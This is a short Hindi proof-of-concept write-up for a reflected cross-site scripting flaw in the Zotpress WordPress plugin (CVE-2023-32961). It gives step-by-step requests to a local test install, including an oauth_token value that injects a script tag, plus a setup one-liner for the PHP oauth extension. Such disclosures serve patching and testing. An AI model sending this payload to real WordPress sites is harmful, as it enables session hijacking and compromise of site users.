इसे कैसे दोहराएँ (PoC)

1. भेद्यता ट्रिगर करने के लिए oauth php एक्सटेंशन इंस्टॉल करें। (यह Zotpress के लिए वैकल्पिक है)
2. zotero.org में लॉगिन करें
3. get_request_token फ़ंक्शन को निष्पादित करने के लिए शर्तें पूरी होनी चाहिए। (केवल पहली बार) इस तरह एक पेलोड भेजें: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1
4. नीचे दिया गया पेलोड भेजें http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>

अतिरिक्त जानकारी

• आपको एक zotero.org खाते की आवश्यकता है।

• इसे ट्रिगर करने के लिए आपको oauthState मान को 1 पर सेट करना होगा। यदि उपरोक्त पेलोड काम नहीं करता है, तो आपको oauthState को 1 पर सेट करने का कोई तरीका खोजना होगा।

  • सशर्त अभिव्यक्ति:

    root@kitploit:~

    $_GET['oauth_token'] != $state['request_token_info']['oauth_token']
    

• php oauth एक्सटेंशन इंस्टॉल करना आसान:

  • एक-पंक्ति कमांड:

    root@kitploit:~

    sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
    

• wordpress:latest डॉकर इमेज में परीक्षण किया गया।

PoC वीडियो

https://www.youtube.com/watch?v=5kZ7bNbs_-Q

संदर्भ

CVE-2023-32961